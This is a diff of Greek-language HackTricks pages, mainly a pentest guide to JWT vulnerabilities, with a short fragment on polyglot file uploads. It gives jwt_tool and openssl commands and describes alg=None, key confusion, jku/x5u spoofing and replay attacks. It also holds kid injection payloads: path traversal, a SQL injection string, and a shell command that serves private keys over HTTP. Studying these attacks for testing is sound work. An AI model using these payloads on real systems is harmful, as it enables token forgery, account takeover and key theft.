Παρά την προσαρμοστικότητά τους, τα πολύγλωττα αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα πολύγλωττο ενδέχεται να ενσωματώνει ταυτόχρονα ένα αρχείο PHAR (PHp ARchive) και ένα JPEG, η επιτυχία της μεταφόρτωσής του ενδέχεται να εξαρτάται από τις πολιτικές επεκτάσεων αρχείων της πλατφόρμας. Αν το σύστημα είναι αυστηρό όσον αφορά τις επιτρεπόμενες επεκτάσεις, η απλή δομική διπλότητα ενός πολύγλωτου ενδέχεται να μην είναι αρκετή για να εξασφαλίσει τη μεταφόρτωσή του.
Περισσότερες πληροφορίες στο: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
@ -325,7 +325,7 @@ pop graphic-context
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **επαγγελματική δραστηριότητα στο χώρο του χάκινγκ** και το χάκινγκ του αδυνάτου - **αναζητούμε προσωπικό!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).

View file

@ -1,12 +1,12 @@
# Ευπάθειες JWT (Json Web Tokens)
# Ευπάθειες JWT (Διαδικτυακά Κουτιά Json)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
Άλλοι τρόποι υποστήριξης των HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στα HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,14 +14,14 @@
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέυτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακούρευτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
{% embed url="https://www.stmcyber.com/careers" %}
**Μέρος αυτής της ανάρτησης βασίζεται στην εξαιρετική ανάρτηση:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Συγγραφέας του εξαιρετικού εργαλείου για pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
**Συγγραφέας του εξαιρετικού εργαλείου για το pentest των JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Γρήγορες Επιτυχίες**
@ -47,15 +47,15 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Για να ελέγξετε αν επαληθεύεται η υπογραφή ενός JWT:
* Ένα μήνυμα σφάλματος υποδηλώνει ενεργή επαλήθευση· πρέπει να ελεγχθούν ευαίσθητες λεπτομέρειες σε λεπτομερείς σφάλματα.
* Ένα μήνυμα σφάλματος υποδηλώνει ενεργό έλεγχο· ευαίσθητες λεπτομέρειες σε λεπτομερείς σφάλματα πρέπει να εξεταστούν.
* Μια αλλαγή στην επιστρεφόμενη σελίδα υποδηλώνει επαλήθευση.
* Καμία αλλαγή υποδηλώνει ότι δεν υπάρχει επαλήθευση· αυτό είναι όταν πρέπει να πειραματιστείτε με την αλλοίωση των διεκδικήσεων φορτίου.
* Καμία αλλαγή υποδηλώνει ότι δεν υπάρχει επαλήθευση· αυτό είναι όταν πρέπει να πειραματιστείτε με την αλλοίωση των δηλώσεων φορτίου.
### Προέλευση
Είναι σημαντικό να καθορίσετε εάν το τοκέν δημιουργήθηκε στην πλευρά του διακομιστή ή του πελάτη εξετάζοντας το ιστορικό αιτήσεων του διαμεσολαβητή.
* Τα τοκέν που πρωτοεμφανίζονται από την πλευρά του πελάτη υποδηλώνουν ότι ο κλειδί ενδέχεται να είναι εκτεθειμένο στον κώδικα της πλευράς του πελάτη, απαιτώντας περαιτέρω έρευνα.
* Τα τοκέν που πρωτοεμφανίζονται από την πλευρά του πελάτη υποδηλώνουν ότι η κλειδί μπορεί να είναι εκτεθειμένο στον κώδικα της πλευράς του πελάτη, απαιτώντας περαιτέρω έρευνα.
* Τα τοκέν που προέρχονται από την πλευρά του διακομιστή υποδηλώνουν ένα ασφαλές διαδικασία.
### Διάρκεια
@ -66,20 +66,20 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
[**Δείτε αυτήν τη σελίδα.**](../generic-methodologies-and-resources/brute-force.md#jwt)
### Τροποποίηση του αλγορίθμου σε None
### Αλλαγή του αλγορίθμου σε None
Ορίστε τον χρησιμοποιούμενο αλγόριθμο ως "None" και αφαιρέστε το τμήμα της υπογραφής.
Χρησιμοποιήστε την επέκταση Burp με την ονομασία "JSON Web Token" για να δοκιμάσετε αυτήν την ευπάθεια και να αλλάξετε διαφορετικές τιμές μέσα στο JWT (στείλτε το αίτημα στο Repeater και στην καρτέλα "JSON Web Token" μπορείτε να τροποποιήσετε τις τιμές του τοκέν. Μπορείτε επίσης να επιλέξετε να τοποθετήσετε την τιμή του πεδίου "Alg" σε "None").
Χρησιμοποιήστε την επέκταση Burp με τίτλο "JSON Web Token" για να δοκιμάσετε αυτήν την ευπάθεια και να αλλάξετε διαφορετικές τιμές μέσα στο JWT (στείλτε το αίτημα στο Repeater και στην καρτέλα "JSON Web Token" μπορείτε να τροποποιήσετε τις τιμές του τοκέν. Μπορείτε επίσης να επιλέξετε να τοποθετήσετε την τιμή του πεδίου "Alg" σε "None").
### Αλλαγή του αλγορίθμου από RS256 (ασύμμετρο) σε HS256 (συμμετρικό) (CVE-2016-5431/CVE-2016-10555)
Ο αλγόριθμος HS256 χρησιμοποιεί το μυστικό κλειδί για την υπογραφή και επαλήθευση κάθε μηνύματος.\
Ο αλγόριθμος RS256 χρησιμοποιεί το ιδιωτικό κλειδί για την υπογραφή του μηνύματος και χρησιμοποιεί το δημόσιο κλειδί για την πιστοποίηση.
Ο αλγόριθμος HS256 χρησιμοποιεί το μυστικό κλειδί για να υπογράψει και να επαληθεύσει κάθε μήνυμα.\
Ο αλγόριθμος RS256 χρησιμοποιεί το ιδιωτικό κλειδί για να υπογράψει το μήνυμα και χρησιμοποιεί το δημόσιο κλειδί για την ταυτοποίηση.
Αν αλλάξετε τον αλγόριθμο από RS256 σε HS256, ο κώδικας πίσω από τον κώδικα χρησιμοποιεί το δημόσιο κλειδί ως μυστικό κλειδί και στη συνέχεια χρησιμοποιεί τον αλγόριθμο HS256 για την επαλήθευση της υπογραφής.
Αν αλλάξετε τον αλγόριθμο από RS256 σε HS256, ο κώδικας πίσω από τον κώδικα χρησιμοποιεί το δημόσιο κλειδί ως μυστικό κλειδί και στη συνέχεια χρησιμοποιεί τον αλγόριθμο HS256 για να επαληθεύσει την υπογραφή.
Στη συνέχεια, χρησιμοποιώντας το δημόσιο κλειδί και αλλάζοντας το RS256 σε HS256 μπορούμε να δημιουργήσουμε μια έγκυρη υπογραφή. Μπορείτε να ανακτήσετε το πιστοποιητικό του διακομιστή του ιστότοπου εκτελώντας αυτό:
Στη συνέχεια, χρησιμοποιώντας το δημόσιο κλειδί και αλλάζοντας το RS256 σε HS256 θα μπορούσαμε να δημιουργήσουμε μια έγκυρη υπογραφή. Μπορείτε να ανακτήσετε το πιστοποιητικό του διακομιστή εκτελώντας αυτό:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
@ -93,12 +93,12 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
### JWKS Παραπλάνηση
Οι οδηγίες περιγράφουν έναν τρόπο για να αξιολογήσετε την ασφάλεια των JWT τοκεν, ειδικά αυτών που χρησιμοποιούν έναν ισχυρισμό κεφαλίδας "jku". Αυτός ο ισχυρισμός πρέπει να συνδέεται με ένα αρχείο JWKS (JSON Web Key Set) που περιέχει το δημόσιο κλειδί που απαιτείται για την επαλήθευση του τοκεν.
Οι οδηγίες περιγράφουν έναν τρόπο για να αξιολογήσετε την ασφάλεια των JWT τοκεν, ιδιαίτερα αυτών που χρησιμοποιούν έναν ισχυρισμό κεφαλίδας "jku". Αυτός ο ισχυρισμός θα πρέπει να συνδέεται με ένα αρχείο JWKS (JSON Web Key Set) που περιέχει το δημόσιο κλειδί που απαιτείται για την επαλήθευση του τοκεν.
* **Αξιολόγηση Τοκεν με τον Ισχυρισμό "jku" Κεφαλίδας**:
* Επαληθεύστε το URL του ισχυρισμού "jku" για να βεβαιωθείτε ότι οδηγεί στο κατάλληλο αρχείο JWKS.
* Τροποποιήστε την τιμή "jku" του τοκεν για να κατευθύνετε προς έναν ελεγχόμενο ιστότοπο, επιτρέποντας την παρακολούθηση της κίνησης.
* **Παρακολούθηση της Αλληλεπίδρασης HTTP**:
* Τροποποιήστε την τιμή του "jku" του τοκεν για να κατευθύνετε προς έναν ελεγχόμενο διακομιστή ιστού, επιτρέποντας την παρατήρηση της κίνησης.
* **Παρακολούθηση για Αλληλεπίδραση HTTP**:
* Η παρακολούθηση των αιτήσεων HTTP προς το συγκεκριμένο URL υποδηλώνει τις προσπάθειες του διακομιστή να ανακτήσει κλειδιά από το παρεχόμενο σύνδεσμο.
* Κατά τη χρήση του `jwt_tool` για αυτήν τη διαδικασία, είναι ζωτικής σημασίας να ενημερώσετε το αρχείο `jwtconf.ini` με την τοποθεσία του προσωπικού σας JWKS για να διευκολύνετε τον έλεγχο.
* **Εντολή για το `jwt_tool`**:
@ -114,27 +114,27 @@ python3 jwt_tool.py JWT_HERE -X s
#### Αποκάλυψη Κλειδιού μέσω του "kid"
Όταν ο ισχυρισμός `kid` είναι παρών στην κεφαλίδα, συνιστάται να αναζητηθεί το αντίστοιχο αρχείο ή τις παραλλαγές του στον κατάλογο του ιστότοπου. Για παράδειγμα, εάν καθορίζεται `"kid":"key/12345"`, τα αρχεία _/key/12345_ και _/key/12345.pem_ πρέπει να αναζητηθούν στη ρίζα του ιστού.
Όταν ο ισχυρισμός `kid` είναι παρών στην κεφαλίδα, συνιστάται να αναζητηθεί το αντίστοιχο αρχείο ή τις παραλλαγές του στον κατάλογο του ιστότοπου. Για παράδειγμα, εάν ορίζεται `"kid":"key/12345"`, τα αρχεία _/key/12345_ και _/key/12345.pem_ θα πρέπει να αναζητηθούν στη ρίζα του ιστού.
#### Διέλευση Διαδρομής με το "kid"
Ο ισχυρισμός `kid` ενδέχεται επίσης να εκμεταλλευτείται για την πλοήγηση μέσω του συστήματος αρχείων, επιτρέποντας πιθανώς την επιλογή ενός αυθαίρετου αρχείου. Είναι εφικτό να δοκιμάσετε τη συνδεσιμότητα ή να εκτελέσετε επιθέσεις Server-Side Request Forgery (SSRF) αλλάζοντας την τιμή του `kid` για να στοχεύσετε συγκεκριμένα αρχεία ή υπηρεσίες. Η παραβίαση του JWT για την αλλαγή της τιμής του `kid` διατηρώντας την αρχική υπογραφή μπορεί να επιτευχθεί χρησιμοποιώντας τη σημαία `-T` στο jwt\_tool, όπως παρουσιάζεται παρακάτω:
Ο ισχυρισμός `kid` ενδέχεται επίσης να εκμεταλλευτείται για την πλοήγηση μέσω του συστήματος αρχείων, επιτρέποντας πιθανώς την επιλογή ενός αυθαίρετου αρχείου. Είναι εφικτό να δοκιμάσετε τη συνδεσιμότητα ή να εκτελέσετε επιθέσεις Server-Side Request Forgery (SSRF) αλλάζοντας την τιμή του `kid` για να στοχεύσετε συγκεκριμένα αρχεία ή υπηρεσίες. Η παραβίαση του JWT για την αλλαγή της τιμής του `kid` διατηρώντας την αρχική υπογραφή μπορεί να επιτευχθεί χρησιμοποιώντας τη σημαία `-T` στο jwt\_tool, όπως φαίνεται παρακάτω:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
Με το να στοχεύετε σε αρχεία με προβλέψιμο περιεχόμενο, είναι δυνατόν να πλασαριστεί ένα έγκυρο JWT. Για παράδειγμα, το αρχείο `/proc/sys/kernel/randomize_va_space` σε συστήματα Linux, γνωστό ότι περιέχει την τιμή **2**, μπορεί να χρησιμοποιηθεί στην παράμετρο `kid` με **2** ως το συμμετρικό κλειδί για τη δημιουργία JWT.
Με στόχο τα αρχεία με προβλέψιμο περιεχόμενο, είναι δυνατή η πλαστογράφηση ενός έγκυρου JWT. Για παράδειγμα, το αρχείο `/proc/sys/kernel/randomize_va_space` σε συστήματα Linux, γνωστό ότι περιέχει την τιμή **2**, μπορεί να χρησιμοποιηθεί στην παράμετρο `kid` με **2** ως το συμμετρικό κλειδί για τη δημιουργία JWT.
#### SQL Injection μέσω "kid"
Εάν το περιεχόμενο του διεκδικούμενου `kid` χρησιμοποιείται για να ανακτήσει έναν κωδικό πρόσβασης από μια βάση δεδομένων, μια ενσωμάτωση SQL μπορεί να διευκολυνθεί με την τροποποίηση του φορτίου του `kid`. Ένα παράδειγμα φορτίου που χρησιμοποιεί ενσωμάτωση SQL για να τροποποιήσει τη διαδικασία υπογραφής JWT περιλαμβάνει:
Εάν το περιεχόμενο του διεκδικούμενου `kid` χρησιμοποιείται για τη λήψη ενός κωδικού πρόσβασης από μια βάση δεδομένων, μπορεί να διευκολυνθεί μια επίθεση SQL injection με τροποποίηση του φορτίου του `kid`. Ένα παράδειγμα φορτίου που χρησιμοποιεί SQL injection για να τροποποιήσει τη διαδικασία υπογραφής JWT περιλαμβάνει:
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
Αυτή η τροποποίηση αναγκάζει τη χρήση ενός γνωστού μυστικού κλειδιού, `ATTACKER`, για την υπογραφή JWT.
#### Ενσωμάτωση OS μέσω "kid"
#### Εισχώρηση στο Λειτουργικό Σύστημα μέσω "kid"
Ένα σενάριο όπου η παράμετρος `kid` καθορίζει ένα διαδρομή αρχείου που χρησιμοποιείται σε ένα πλαίσιο εκτέλεσης εντολών θα μπορούσε να οδηγήσει σε ευπάθειες Απομακρυσμένης Εκτέλεσης Κώδικα (RCE). Με την ενσωμάτωση εντολών στην παράμετρο `kid`, είναι δυνατόν να αποκαλυφθούν ιδιωτικά κλειδιά. Ένα παράδειγμα φορτίου για την επίτευξη RCE και αποκάλυψη κλειδιών είναι:
Σε ένα σενάριο όπου η παράμετρος `kid` καθορίζει ένα διαδρομή αρχείου που χρησιμοποιείται σε ένα πλαίσιο εκτέλεσης εντολών, μπορεί να οδηγήσει σε ευπάθειες Απομακρυσμένης Εκτέλεσης Κώδικα (RCE). Με την εισχώρηση εντολών στην παράμετρο `kid`, είναι δυνατή η αποκάλυψη ιδιωτικών κλειδιών. Ένα παράδειγμα φορτίου για την επίτευξη RCE και αποκάλυψη κλειδιών είναι:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
@ -143,7 +143,7 @@ python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
#### jku
Το jku σημαίνει **JWK Set URL**.\
Εάν το τοκέν χρησιμοποιεί μια δήλωση κεφαλίδας “**jku**” τότε **ελέγξτε την παρεχόμενη διεύθυνση URL**. Αυτό θα πρέπει να δείχνει σε μια διεύθυνση URL που περιέχει το αρχείο JWKS που κρατά το Δημόσιο Κλειδί για τον έλεγχο του τοκέν. Αλλάξτε το τοκέν για να δείχνει η τιμή jku σε έναν ιστότοπο υπηρεσίας ιστού όπου μπορείτε να παρακολουθείτε την κίνηση.
Εάν το τοκέν χρησιμοποιεί μια δήλωση "jku" **Κεφαλίδας**, τότε **ελέγξτε την παρεχόμενη διεύθυνση URL**. Αυτό θα πρέπει να δείχνει σε μια διεύθυνση URL που περιέχει το αρχείο JWKS που κρατά το Δημόσιο Κλειδί για τον έλεγχο του τοκέν. Αλλάξτε το τοκέν για να δείχνει η τιμή jku σε έναν ιστότοπο υπηρεσίας ιστού για τον οποίο μπορείτε να παρακολουθείτε την κίνηση.
Πρώτα πρέπει να δημιουργήσετε ένα νέο πιστοποιητικό με νέα ιδιωτικά και δημόσια κλειδιά
```bash
@ -151,9 +151,9 @@ openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Στη συνέχεια μπορείτε να χρησιμοποιήσετε για παράδειγμα το [**jwt.io**](https://jwt.io) για να δημιουργήσετε το νέο JWT με τα **δημιουργημένα δημόσια και ιδιωτικά κλειδιά και να δείξετε την παράμετρο jku στο πιστοποιητικό που δημιουργήθηκε.** Για να δημιουργήσετε ένα έγκυρο πιστοποιητικό jku μπορείτε να κατεβάσετε το αρχικό και να αλλάξετε τις απαραίτητες παραμέτρους.
Τότε μπορείτε να χρησιμοποιήσετε για παράδειγμα το [**jwt.io**](https://jwt.io) για να δημιουργήσετε το νέο JWT με τα **δημιουργημένα δημόσια και ιδιωτικά κλειδιά και να δείξετε την παράμετρο jku στο πιστοποιητικό που δημιουργήθηκε.** Για να δημιουργήσετε ένα έγκυρο πιστοποιητικό jku μπορείτε να κατεβάσετε το αρχικό και να αλλάξετε τις απαραίτητες παραμέτρους.
Μπορείτε να λάβετε τις παραμέτρους "e" και "n" από ένα δημόσιο πιστοποιητικό χρησιμοποιώντας:
Μπορείτε να αποκτήσετε τις παραμέτρους "e" και "n" από ένα δημόσιο πιστοποιητικό χρησιμοποιώντας:
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
@ -164,16 +164,16 @@ print("e:", hex(key.e))
```
#### x5u
X.509 URL. Ένα URI που δείχνει σε ένα σύνολο δημόσιων πιστοποιητικών X.509 (ένα πρότυπο μορφοποίησης πιστοποιητικών) που κωδικοποιούνται σε μορφή PEM. Το πρώτο πιστοποιητικό στο σύνολο πρέπει να είναι αυτό που χρησιμοποιήθηκε για να υπογράψει αυτό το JWT. Τα επόμενα πιστοποιητικά υπογράφουν το προηγούμενο, ολοκληρώνοντας έτσι την αλυσίδα πιστοποιητικών. Το X.509 ορίζεται στο RFC 52807. Απαιτείται ασφάλεια μεταφοράς για τη μεταφορά των πιστοποιητικών.
X.509 URL. Ένα URI που δείχνει σε ένα σύνολο δημόσιων πιστοποιητικών X.509 (ένα πρότυπο μορφοποίησης πιστοποιητικών) που κωδικοποιούνται σε μορφή PEM. Το πρώτο πιστοποιητικό στο σύνολο πρέπει να είναι αυτό που χρησιμοποιήθηκε για να υπογράψει αυτό το JWT. Τα επόμενα πιστοποιητικά υπογράφουν το προηγούμενο, ολοκληρώνοντας έτσι την αλυσίδα πιστοποιητικών. Το X.509 ορίζεται στο RFC 52807. Απαιτείται μεταφορά ασφάλειας για τη μεταφορά των πιστοποιητικών.
Προσπαθήστε να **αλλάξετε αυτήν την κεφαλίδα σε ένα URL υπό τον έλεγχό σας** και ελέγξτε εάν λαμβάνεται οποιοδήποτε αίτημα. Σε αυτήν την περίπτωση **μπορείτε να παρεμβάλετε το JWT**.
Προσπαθήστε να **αλλάξετε αυτήν την κεφαλίδα σε ένα URL υπό τον έλεγχό σας** και ελέγξτε εάν λαμβάνεται οποιοδήποτε αίτημα. Σε αυτήν την περίπτωση **θα μπορούσατε να παραβιάσετε το JWT**.
Για να πλασαρίσετε ένα νέο τοκεν χρησιμοποιώντας ένα πιστοποιητικό που ελέγχετε εσείς, πρέπει να δημιουργήσετε το πιστοποιητικό και να εξάγετε τα δημόσια και ιδιωτικά κλειδιά:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Μπορείτε να χρησιμοποιήσετε για παράδειγμα το [**jwt.io**](https://jwt.io) για να δημιουργήσετε το νέο JWT με τα **δημιουργημένα δημόσια και ιδιωτικά κλειδιά και να δείχνετε την παράμετρο x5u στο πιστοποιητικό .crt που δημιουργήθηκε.**
Τότε μπορείτε να χρησιμοποιήσετε για παράδειγμα το [**jwt.io**](https://jwt.io) για να δημιουργήσετε το νέο JWT με τα **δημιουργημένα δημόσια και ιδιωτικά κλειδιά και να δείχνετε την παράμετρο x5u στο πιστοποιητικό .crt που δημιουργήθηκε.**
![](<../.gitbook/assets/image (953).png>)
@ -206,7 +206,7 @@ const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
Είναι δυνατόν να δημιουργήσετε ένα νέο ιδιωτικό/δημόσιο κλειδί, ενσωματώσετε το νέο δημόσιο κλειδί μέσα στο τοκεν και να το χρησιμοποιήσετε για τη δημιουργία ενός νέου υπογραφή:
Είναι δυνατόν να δημιουργηθεί ένα νέο ιδιωτικό/δημόσιο κλειδί, να ενσωματωθεί το νέο δημόσιο κλειδί μέσα στο τοκέν και να χρησιμοποιηθεί για τη δημιουργία ενός νέου υπογραφής:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
@ -230,8 +230,8 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
### JTI (JWT ID)
Η δήλωση JTI (JWT ID) παρέχει ένα μοναδικό αναγνωριστικό για ένα JWT Token. Μπορεί να χρησιμοποιηθεί για την αποτροπή της επανάληψης του τοκέν.\
Ωστόσο, φανταστείτε μια κατάσταση όπου το μέγιστο μήκος του αναγνωριστικού είναι 4 (0001-9999). Οι αιτήσεις 0001 και 10001 θα χρησιμοποιήσουν το ίδιο αναγνωριστικό. Έτσι, εάν ο διακομιστής αυξάνει το αναγνωριστικό σε κάθε αίτηση, μπορείτε να εκμεταλλευτείτε αυτό για **επανάληψη μιας αίτησης** (χρειάζεται να στείλετε 10000 αιτήσεις μεταξύ κάθε επιτυχούς επανάληψης).
Η δήλωση JTI (JWT ID) παρέχει ένα μοναδικό αναγνωριστικό για ένα JWT Token. Μπορεί να χρησιμοποιηθεί για να αποτρέψει το token από το να επαναληφθεί.\
Ωστόσο, φανταστείτε μια κατάσταση όπου το μέγιστο μήκος του ID είναι 4 (0001-9999). Οι αιτήσεις 0001 και 10001 θα χρησιμοποιήσουν το ίδιο ID. Έτσι, εάν ο server αυξάνει το ID σε κάθε αίτηση, μπορείτε να εκμεταλλευτείτε αυτό για **επανάληψη μιας αίτησης** (χρειάζεται να στείλετε 10000 αιτήσεις μεταξύ κάθε επιτυχούς επανάληψης).
### Καταχωρημένες δηλώσεις JWT
@ -239,25 +239,25 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
### Άλλες επιθέσεις
**Επιθέσεις Διέλευσης Υπηρεσιών**
**Επιθέσεις Διέλευσης Υπηρεσιών (Cross-service Relay Attacks)**
Έχει παρατηρηθεί ότι ορισμένες web εφαρμογές βασίζονται σε μια αξιόπιστη υπηρεσία JWT για τη δημιουργία και διαχείριση των τοκεν τους. Έχουν καταγραφεί περιστατικά όπου ένα τοκέν, που δημιουργήθηκε για έναν πελάτη από την υπηρεσία JWT, γινόταν δεκτό από έναν άλλο πελάτη της ίδιας υπηρεσίας JWT. Εάν παρατηρηθεί η έκδοση ή ανανέωση ενός JWT μέσω μιας υπηρεσίας τρίτου, πρέπει να εξεταστεί η πιθανότητα εγγραφής σε έναν λογαριασμό σε έναν άλλο πελάτη εκείνης της υπηρεσίας χρησιμοποιώντας το ίδιο όνομα χρήστη/ηλεκτρονικό ταχυδρομείο. Στη συνέχεια, πρέπει να γίνει μια προσπάθεια επανάληψης του ληφθέντος τοκέν σε μια αίτηση προς τον στόχο για να δούμε αν γίνεται δεκτό.
Έχει παρατηρηθεί ότι μερικές web εφαρμογές βασίζονται σε μια αξιόπιστη υπηρεσία JWT για τη δημιουργία και διαχείριση των tokens τους. Έχουν καταγραφεί περιστατικά όπου ένα token, που δημιουργήθηκε για έναν πελάτη από την υπηρεσία JWT, γίνεται δεκτό από έναν άλλο πελάτη της ίδιας υπηρεσίας JWT. Εάν παρατηρηθεί η έκδοση ή ανανέωση ενός JWT μέσω μιας υπηρεσίας τρίτου, πρέπει να εξεταστεί η πιθανότητα εγγραφής σε έναν λογαριασμό σε έναν άλλο πελάτη της ϯυηρεσίας χρησιμοποιώντας το ίδιο όνομα χρήστη/email. Στη συνέχεια, πρέπει να γίνει μια προσπάθεια επανάληψης του ληφθέντος token σε μια αίτηση προς τον στόχο για να δούμε αν γίνεται δεκτό.
* Η αποδοχή του τοκέν σας μπορεί να υποδείξει ένα κρίσιμο ζήτημα, ενδεχομένως επιτρέποντας την παραπλάνηση του λογαριασμού οποιουδήποτε χρήστη. Ωστόσο, πρέπει να σημειωθεί ότι ενδέχεται να απαιτηθεί άδεια για ευρύτερες δοκιμές εάν εγγραφείτε σε μια εφαρμογή τρίτου, καθώς αυτό μπορεί να εισέλθει σε μια νομική γκρίζα ζώνη.
* Η αποδοχή του token σας μπορεί να υποδείξει ένα κρίσιμο θέμα, ενδεχομένως επιτρέποντας την πλαστογράφηση του λογαριασμού οποιουδήποτε χρήστη. Ωστόσο, πρέπει να σημειωθεί ότι ενδέχεται να απαιτηθεί άδεια για ευρύτερες δοκιμές εάν εγγραφείτε σε μια εφαρμογή τρίτου, καθώς αυτό μπορεί να εισέλθει σε μια νομική γκρι ζώνη.
**Έλεγχος Λήξης των Τοκέν**
**Έλεγχος Λήξης των Tokens**
Η λήξη του τοκέν ελέγχεται χρησιμοποιώντας τη δήλωση "exp" Payload. Δεδομένου ότι τα JWT συχνά χρησιμοποιούνται χωρίς πληροφορίες συνεδρίας, απαιτείται προσεκτική χειρισμός. Σε πολλές περιπτώσεις, η καταγραφή και επανάληψη του JWT ενός άλλου χρήστη θα μπορούσε να επιτρέψει την υποκατάσταση εκείνου του χρήστη. Το RFC του JWT συνιστά τη μείωση των επιθέσεων επανάληψης JWT χρησιμοποιώντας τη δήλωση "exp" για να ορίσετε ένα χρόνο λήξης για το τοκέν. Επιπλέον, η εφαρμογή πρέπει να υλοποιήσει σχετικούς ελέγχους για να διασφαλίσει την επεξεργασία αυτής της τιμής και την απόρριψη των ληγμένων τοκέν. Εάν το τοκέν περιλαμβάνει μια δήλωση "exp" και τα όρια χρόνου επιτρέπουν, συνιστάται να αποθηκεύσετε το τοκέν και να το επαναλάβετε μετά τη λήξη του χρόνου. Το περιεχόμενο του τοκέν, συμπεριλαμβανομένης της ανάλυσης της χρονικής σήμανσης και του ελέγχου λήξης (χρονική σήμανση σε UTC), μπορεί να διαβαστεί χρησιμοποιώντας τη σημαία -R του εργαλείου jwt\_tool.
Η λήξη του token ελέγχεται χρησιμοποιώντας τη δήλωση "exp" Payload. Δεδομένου ότι τα JWT συχνά χρησιμοποιούνται χωρίς πληροφορίες συνεδρίας, απαιτείται προσεκτική χειρισμός. Σε πολλές περιπτώσεις, η καταγραφή και επανάληψη ενός JWT ενός άλλου χρήστη θα μπορούσε να επιτρέψει την υποκατάσταση αυτού του χρήστη. Το RFC του JWT συνιστά τη μείωση των επιθέσεων επανάληψης JWT χρησιμοποιώντας τη δήλωση "exp" για να ορίσετε ένα χρόνο λήξης για το token. Επιπλέον, η υλοποίηση σχετικών ελέγχων από την εφαρμογή για να διασφαλίσει την επεξεργασία αυτής της τιμής και την απόρριψη των ληγμένων tokens είναι κρίσιμη. Εάν το token περιλαμβάνει μια δήλωση "exp" και οι χρονικοί περιορισμοί επιτρέπουν, συνιστάται να αποθηκεύσετε το token και να το επαναλάβετε μετά τη λήξη του χρόνου. 